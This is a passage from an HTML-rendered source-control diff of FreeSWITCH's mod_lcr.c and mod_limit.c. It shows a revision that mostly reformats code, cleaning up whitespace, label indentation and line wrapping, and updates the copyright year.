</ins><span class="cx">                                 write_data(stream, as_xml, "prefix", current->digit_str, 2, maximum_lengths.digit_str);
</span><span class="cx">                                 write_data(stream, as_xml, "carrier_name", current->carrier_name, 2, maximum_lengths.carrier_name);
</span><span class="cx">                                 write_data(stream, as_xml, "rate", current->rate_str, 2, maximum_lengths.rate);
</span><span class="lines">@@ -1447,7 +1420,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         write_data(stream, as_xml, "cid", "", 2, maximum_lengths.cid);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 write_data(stream, as_xml, "dialstring", current->dialstring, 2, maximum_lengths.dialstring);
</span><span class="cx">
</span><span class="cx">                                 if (as_xml) {
</span><span class="lines">@@ -1473,14 +1446,14 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         if (!session) {
</span><span class="cx">                 if (pool) {
</span><span class="cx">                         switch_core_destroy_memory_pool(&pool);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "USAGE: %s\n", LCR_SYNTAX);
</span><span class="cx">         goto end;
</span><span class="cx"> }
</span><span class="lines">@@ -1509,7 +1482,7 @@
</span><span class="cx">                         for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                                 switch_hash_this(hi, NULL, NULL, &val);
</span><span class="cx">                                 profile = (profile_t *) val;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 stream->write_function(stream, "Name:\t\t%s\n", profile->name);
</span><span class="cx">                                 if (zstr(profile->custom_sql)) {
</span><span class="cx">                                         stream->write_function(stream, " ID:\t\t%d\n", profile->id);
</span><span class="lines">@@ -1522,12 +1495,9 @@
</span><span class="cx">                                 stream->write_function(stream, " has intrastate:\t%s\n", profile->profile_has_intrastate ? "true" : "false");
</span><span class="cx">                                 stream->write_function(stream, " has intralata:\t%s\n", profile->profile_has_intralata ? "true" : "false");
</span><span class="cx">                                 stream->write_function(stream, " has npanxx:\t%s\n", profile->profile_has_npanxx ? "true" : "false");
</span><del>-                                stream->write_function(stream, " Reorder rate:\t%s\n",
-                                                                                profile->reorder_by_rate ? "enabled" : "disabled");
-                                stream->write_function(stream, " Info in headers:\t%s\n",
-                                                                                profile->info_in_headers ? "enabled" : "disabled");
-                                stream->write_function(stream, " Quote IN() List:\t%s\n",
-                                                                                profile->quote_in_list ? "enabled" : "disabled");
</del><ins>+                                stream->write_function(stream, " Reorder rate:\t%s\n", profile->reorder_by_rate ? "enabled" : "disabled");
+                                stream->write_function(stream, " Info in headers:\t%s\n", profile->info_in_headers ? "enabled" : "disabled");
+                                stream->write_function(stream, " Quote IN() List:\t%s\n", profile->quote_in_list ? "enabled" : "disabled");
</ins><span class="cx">                                 stream->write_function(stream, "\n");
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="lines">@@ -1536,20 +1506,20 @@
</span><span class="cx">         }
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-usage:
</del><ins>+ usage:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         stream->write_function(stream, "-ERR %s\n", LCR_ADMIN_SYNTAX);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-                
</del><ins>+
</ins><span class="cx"> }
</span><del>-        
</del><ins>+
</ins><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_lcr_load)
</span><span class="cx"> {
</span><span class="cx">         switch_api_interface_t *dialplan_lcr_api_interface;
</span><span class="cx">         switch_api_interface_t *dialplan_lcr_api_admin_interface;
</span><span class="cx">         switch_application_interface_t *app_interface;
</span><span class="cx">         switch_dialplan_interface_t *dp_interface;
</span><del>-        
</del><ins>+
</ins><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         if (!switch_odbc_available()) {
</span><span class="lines">@@ -1573,7 +1543,7 @@
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "lcr", "Perform an LCR lookup", "Perform an LCR lookup",
</span><span class="cx">                                  lcr_app_function, "<number>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span><span class="cx">         SWITCH_ADD_DIALPLAN(dp_interface, "lcr", lcr_dialplan_hunt);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_limitmod_limitc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -51,12 +51,12 @@
</span><span class="cx">         char *odbc_pass;
</span><span class="cx">         switch_mutex_t *mutex;
</span><span class="cx">         switch_mutex_t *limit_hash_mutex;
</span><del>-        switch_hash_t *limit_hash;        
</del><ins>+        switch_hash_t *limit_hash;
</ins><span class="cx">         switch_mutex_t *db_hash_mutex;
</span><del>-        switch_hash_t *db_hash;        
</del><ins>+        switch_hash_t *db_hash;
</ins><span class="cx"> } globals;
</span><span class="cx">
</span><del>-typedef struct {
</del><ins>+typedef struct {
</ins><span class="cx">         uint32_t total_usage;
</span><span class="cx">         uint32_t rate_usage;
</span><span class="cx">         time_t last_check;
</span><span class="lines">@@ -68,43 +68,33 @@
</span><span class="cx">
</span><span class="cx"> static char limit_sql[] =
</span><span class="cx">         "CREATE TABLE limit_data (\n"
</span><del>-        " hostname VARCHAR(255),\n"
-        " realm VARCHAR(255),\n"
-        " id VARCHAR(255),\n"
-        " uuid VARCHAR(255)\n"
-        ");\n";
</del><ins>+        " hostname VARCHAR(255),\n" " realm VARCHAR(255),\n" " id VARCHAR(255),\n" " uuid VARCHAR(255)\n" ");\n";
</ins><span class="cx">
</span><span class="cx"> static char db_sql[] =
</span><span class="cx">         "CREATE TABLE db_data (\n"
</span><del>-        " hostname VARCHAR(255),\n"
-        " realm VARCHAR(255),\n"
-        " data_key VARCHAR(255),\n"
-        " data VARCHAR(255)\n"
-        ");\n";
</del><ins>+        " hostname VARCHAR(255),\n" " realm VARCHAR(255),\n" " data_key VARCHAR(255),\n" " data VARCHAR(255)\n" ");\n";
</ins><span class="cx">
</span><span class="cx"> static char group_sql[] =
</span><del>-        "CREATE TABLE group_data (\n"
-        " hostname VARCHAR(255),\n"
-        " groupname VARCHAR(255),\n"
-        " url VARCHAR(255)\n"
-        ");\n";
</del><ins>+        "CREATE TABLE group_data (\n" " hostname VARCHAR(255),\n" " groupname VARCHAR(255),\n" " url VARCHAR(255)\n" ");\n";
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> switch_cache_db_handle_t *limit_get_db_handle(void)
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(globals.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = globals.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = globals.odbc_user;
</span><span class="cx">                 options.odbc_options.pass = globals.odbc_pass;
</span><span class="cx">
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         } else {
</span><span class="cx">                 options.core_db_options.db_path = globals.dbname;
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -127,7 +117,7 @@
</span><span class="cx">         status = switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx">
</span><span class="cx"> end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -142,16 +132,16 @@
</span><span class="cx">         switch_bool_t ret = SWITCH_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!(dbh = limit_get_db_handle())) {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
- goto end;
- }
-        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+                goto end;
+        }
+
</ins><span class="cx">         switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
</span><span class="cx">
</span><span class="cx">         if (errmsg) {
</span><span class="lines">@@ -174,8 +164,8 @@
</span><span class="cx"> static switch_xml_config_string_options_t limit_config_dsn = { NULL, 0, "[^:]+:[^:]+:.+" };
</span><span class="cx">
</span><span class="cx"> static switch_xml_config_item_t config_settings[] = {
</span><del>-        SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,
-                "dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
</del><ins>+        SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,
+                                         "dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -184,13 +174,13 @@
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *sql = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         limit_config_dsn.pool = globals.pool;
</span><span class="cx">
</span><span class="cx">         if (switch_xml_config_parse_module_settings("limit.conf", SWITCH_FALSE, config_settings) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.odbc_dsn) {
</span><span class="cx">                 if ((globals.odbc_user = strchr(globals.odbc_dsn, ':'))) {
</span><span class="cx">                         *globals.odbc_user++ = '\0';
</span><span class="lines">@@ -203,8 +193,8 @@
</span><span class="cx">                         globals.odbc_dsn = globals.odbc_user = globals.odbc_pass;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (zstr(globals.odbc_dsn)) {
</span><span class="cx">                 globals.dbname = "call_limit";
</span><span class="cx">                 dbh = limit_get_db_handle();
</span><span class="lines">@@ -225,16 +215,16 @@
</span><span class="cx">                         NULL
</span><span class="cx">                 };
</span><span class="cx">
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 switch_cache_db_test_reactive(dbh, "select * from limit_data", NULL, limit_sql);
</span><span class="cx">                 switch_cache_db_test_reactive(dbh, "select * from db_data", NULL, db_sql);
</span><span class="cx">                 switch_cache_db_test_reactive(dbh, "select * from group_data", NULL, group_sql);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (x = 0; indexes[x]; x++) {
</span><span class="cx">                         switch_cache_db_execute_sql(dbh, indexes[x], NULL);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">
</span><span class="cx">                 sql = switch_mprintf("delete from limit_data where hostname='%q';", globals.hostname);
</span><span class="lines">@@ -248,7 +238,7 @@
</span><span class="cx"> static void limit_fire_event(const char *realm, const char *key, uint32_t usage, uint32_t rate, uint32_t max, uint32_t ratemax)
</span><span class="cx"> {
</span><span class="cx">         switch_event_t *event;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, LIMIT_EVENT_USAGE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "realm", realm);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", key);
</span><span class="lines">@@ -268,8 +258,7 @@
</span><span class="cx">         const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
</span><span class="cx">
</span><span class="cx">         if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
</span><del>-                sql = switch_mprintf("delete from limit_data where uuid='%q';",
-                                                         switch_core_session_get_uuid(session));
</del><ins>+                sql = switch_mprintf("delete from limit_data where uuid='%q';", switch_core_session_get_uuid(session));
</ins><span class="cx">                 limit_execute_sql(sql, globals.mutex);
</span><span class="cx">                 switch_safe_free(sql);
</span><span class="cx">                 switch_core_event_hook_remove_state_change(session, db_state_handler);
</span><span class="lines">@@ -279,47 +268,46 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t hash_state_handler(switch_core_session_t *session)
</del><ins>+static switch_status_t hash_state_handler(switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_channel_state_t state = switch_channel_get_state(channel);
</span><span class="cx">         limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
</span><span class="cx">         const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* The call is either hung up, or is going back into the dialplan, decrement appropriate couters */
</span><del>-        if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {        
</del><ins>+        if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
</ins><span class="cx">                 switch_hash_index_t *hi;
</span><span class="cx">                 switch_mutex_lock(globals.limit_hash_mutex);
</span><span class="cx">
</span><span class="cx">                 /* Loop through the channel's hashtable which contains mapping to all the limit_hash_item_t referenced by that channel */
</span><del>-                while((hi = switch_hash_first(NULL, pvt->hash)))
-                {
</del><ins>+                while ((hi = switch_hash_first(NULL, pvt->hash))) {
</ins><span class="cx">                         void *val = NULL;
</span><span class="cx">                         const void *key;
</span><span class="cx">                         switch_ssize_t keylen;
</span><span class="cx">                         limit_hash_item_t *item = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_hash_this(hi, &key, &keylen, &val);
</span><del>-                        
-                        item = (limit_hash_item_t*)val;
-                        item->total_usage--;        
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)key, item->total_usage);
-                        
-                        if (item->total_usage == 0) {
</del><ins>+
+                        item = (limit_hash_item_t *) val;
+                        item->total_usage--;
+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char *) key, item->total_usage);
+
+                        if (item->total_usage == 0) {
</ins><span class="cx">                                 /* Noone is using this item anymore */
</span><del>-                                switch_core_hash_delete(globals.limit_hash, (const char*)key);
</del><ins>+                                switch_core_hash_delete(globals.limit_hash, (const char *) key);
</ins><span class="cx">                                 free(item);
</span><span class="cx">                         }
</span><del>-                        
-                        switch_core_hash_delete(pvt->hash, (const char*)key);
</del><ins>+
+                        switch_core_hash_delete(pvt->hash, (const char *) key);
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Remove handler */
</span><span class="cx">                 switch_core_event_hook_remove_state_change(session, hash_state_handler);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_unlock(globals.limit_hash_mutex);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -474,21 +462,21 @@
</span><span class="cx">         char *mydata = NULL;
</span><span class="cx">         char *hash_key = NULL;
</span><span class="cx">         char *value = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.db_hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(data)) {
</span><span class="cx">                 mydata = strdup(data);
</span><span class="cx">                 switch_assert(mydata);
</span><span class="cx">                 argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 3 || !argv[0]) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[0], "insert")) {
</span><span class="cx">                 if (argc < 4) {
</span><span class="cx">                         goto usage;
</span><span class="lines">@@ -508,13 +496,13 @@
</span><span class="cx">         } else {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         goto done;
</span><span class="cx">
</span><del>-usage:
</del><ins>+ usage:
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: hash %s\n", HASH_USAGE);
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         switch_mutex_unlock(globals.db_hash_mutex);
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_safe_free(hash_key);
</span><span class="lines">@@ -536,13 +524,13 @@
</span><span class="cx">                 switch_assert(mydata);
</span><span class="cx">                 argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 3 || !argv[0]) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[0], "insert")) {
</span><span class="cx">                 if (argc < 4) {
</span><span class="cx">                         goto usage;
</span><span class="lines">@@ -570,17 +558,17 @@
</span><span class="cx">         } else {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         goto done;
</span><del>-        
-usage:
</del><ins>+
+ usage:
</ins><span class="cx">         stream->write_function(stream, "-ERR Usage: hash %s\n", HASH_API_USAGE);
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         switch_mutex_unlock(globals.db_hash_mutex);
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_safe_free(hash_key);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -649,7 +637,7 @@
</span><span class="cx">
</span><span class="cx">                 limit_execute_sql_callback(NULL, sql, group_callback, &cbt);
</span><span class="cx">                 switch_safe_free(sql);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 *(buf + (strlen(buf) - 1)) = '\0';
</span><span class="cx">                 stream->write_function(stream, "%s", buf);
</span><span class="cx">
</span><span class="lines">@@ -729,9 +717,9 @@
</span><span class="cx">         got = atoi(buf);
</span><span class="cx">
</span><span class="cx">         if (max < 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d\n", realm, id, got+1);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d\n", realm, id, got + 1);
</ins><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d/%d\n", realm, id, got+1, max);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d/%d\n", realm, id, got + 1, max);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (max >= 0 && got + 1 > max) {
</span><span class="lines">@@ -746,7 +734,7 @@
</span><span class="cx">                                          switch_core_session_get_uuid(session));
</span><span class="cx">         limit_execute_sql(sql, NULL);
</span><span class="cx">         switch_safe_free(sql);
</span><del>-        
</del><ins>+
</ins><span class="cx">         {
</span><span class="cx">                 const char *susage = switch_core_session_sprintf(session, "%d", ++got);
</span><span class="cx">
</span><span class="lines">@@ -787,8 +775,8 @@
</span><span class="cx">
</span><span class="cx">         realm = argv[0];
</span><span class="cx">         id = argv[1];
</span><del>-        
-        /* Accept '-' as unlimited (act as counter)*/
</del><ins>+
+        /* Accept '-' as unlimited (act as counter) */
</ins><span class="cx">         if (argv[2][0] == '-') {
</span><span class="cx">                 max = -1;
</span><span class="cx">         } else {
</span><span class="lines">@@ -796,7 +784,7 @@
</span><span class="cx">
</span><span class="cx">                 if (max < 0) {
</span><span class="cx">                         max = 0;
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (argc >= 4) {
</span><span class="lines">@@ -808,12 +796,12 @@
</span><span class="cx">         if (!do_limit(session, realm, id, max)) {
</span><span class="cx">                 /* Limit exceeded */
</span><span class="cx">                 if (*xfer_exten == '!') {
</span><del>-                        switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
</del><ins>+                        switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* !\brief Releases usage of a limit_-controlled ressource */
</span><span class="lines">@@ -821,8 +809,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *sql = NULL;
</span><span class="cx">
</span><del>-        sql = switch_mprintf("delete from limit_data where uuid='%q' and realm='%q' and id like '%q'",
-                                                switch_core_session_get_uuid(session), realm, id);
</del><ins>+        sql = switch_mprintf("delete from limit_data where uuid='%q' and realm='%q' and id like '%q'", switch_core_session_get_uuid(session), realm, id);
</ins><span class="cx">         limit_execute_sql(sql, globals.mutex);
</span><span class="cx">         switch_safe_free(sql);
</span><span class="cx"> }
</span><span class="lines">@@ -845,16 +832,16 @@
</span><span class="cx">                 mydata = switch_core_session_strdup(session, data);
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 2) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_execute %s\n", LIMITEXECUTE_USAGE);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         realm = argv[0];
</span><span class="cx">         id = argv[1];
</span><del>-        
-        /* Accept '-' as unlimited (act as counter)*/
</del><ins>+
+        /* Accept '-' as unlimited (act as counter) */
</ins><span class="cx">         if (argv[2][0] == '-') {
</span><span class="cx">                 max = -1;
</span><span class="cx">         } else {
</span><span class="lines">@@ -862,7 +849,7 @@
</span><span class="cx">
</span><span class="cx">                 if (max < 0) {
</span><span class="cx">                         max = 0;
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         app = argv[3];
</span><span class="lines">@@ -915,7 +902,7 @@
</span><span class="cx">
</span><span class="cx">         stream->write_function(stream, "%s", buf);
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -937,22 +924,21 @@
</span><span class="cx">         time_t now = switch_epoch_time_now(NULL);
</span><span class="cx">         limit_hash_private_t *pvt = NULL;
</span><span class="cx">         uint8_t increment = 1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.limit_hash_mutex);
</span><span class="cx">         /* Check if that realm+id has ever been checked */
</span><del>-        if (!(item = (limit_hash_item_t*)switch_core_hash_find(globals.limit_hash, hashkey))) {
</del><ins>+        if (!(item = (limit_hash_item_t *) switch_core_hash_find(globals.limit_hash, hashkey))) {
</ins><span class="cx">                 /* No, create an empty structure and add it, then continue like as if it existed */
</span><del>-                item = (limit_hash_item_t*)malloc(sizeof(limit_hash_item_t));
</del><ins>+                item = (limit_hash_item_t *) malloc(sizeof(limit_hash_item_t));
</ins><span class="cx">                 switch_assert(item);
</span><span class="cx">                 memset(item, 0, sizeof(limit_hash_item_t));
</span><span class="cx">                 switch_core_hash_insert(globals.limit_hash, hashkey, item);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* Did we already run on this channel before? */
</span><del>-        if ((pvt = switch_channel_get_private(channel, "limit_hash")))
-        {
</del><ins>+        if ((pvt = switch_channel_get_private(channel, "limit_hash"))) {
</ins><span class="cx">                 /* Yes, but check if we did that realm+id
</span><span class="cx">                  If we didnt, allow incrementing the counter.
</span><span class="cx">                  If we did, dont touch it but do the validation anyways
</span><span class="lines">@@ -960,7 +946,7 @@
</span><span class="cx">                 increment = !switch_core_hash_find(pvt->hash, hashkey);
</span><span class="cx">         } else {
</span><span class="cx">                 /* This is the first limit check on this channel, create a hashtable, set our prviate data and add a state handler */
</span><del>-                pvt = (limit_hash_private_t*)switch_core_session_alloc(session, sizeof(limit_hash_private_t));
</del><ins>+                pvt = (limit_hash_private_t *) switch_core_session_alloc(session, sizeof(limit_hash_private_t));
</ins><span class="cx">                 memset(pvt, 0, sizeof(limit_hash_private_t));
</span><span class="cx">                 switch_core_hash_init(&pvt->hash, switch_core_session_get_pool(session));
</span><span class="cx">                 switch_channel_set_private(channel, "limit_hash", pvt);
</span><span class="lines">@@ -974,13 +960,14 @@
</span><span class="cx">                         /* Always increment rate when its checked as it doesnt depend on the channel */
</span><span class="cx">                         item->rate_usage++;
</span><span class="cx">
</span><del>-                        if ((max >= 0) && (item->rate_usage > (uint32_t)max)) {
-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n", hashkey, max, interval, item->rate_usage);
</del><ins>+                        if ((max >= 0) && (item->rate_usage > (uint32_t) max)) {
+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n",
+                                                                 hashkey, max, interval, item->rate_usage);
</ins><span class="cx">                                 status = SWITCH_FALSE;
</span><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-        } else if ((max >= 0) && (item->total_usage + increment > (uint32_t)max)) {
</del><ins>+        } else if ((max >= 0) && (item->total_usage + increment > (uint32_t) max)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is already at max value (%d)\n", hashkey, item->total_usage);
</span><span class="cx">                 status = SWITCH_FALSE;
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -994,12 +981,13 @@
</span><span class="cx">                 if (max == -1) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", hashkey, item->total_usage);
</span><span class="cx">                 } else if (interval == 0) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);        
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);
</ins><span class="cx">                 } else {
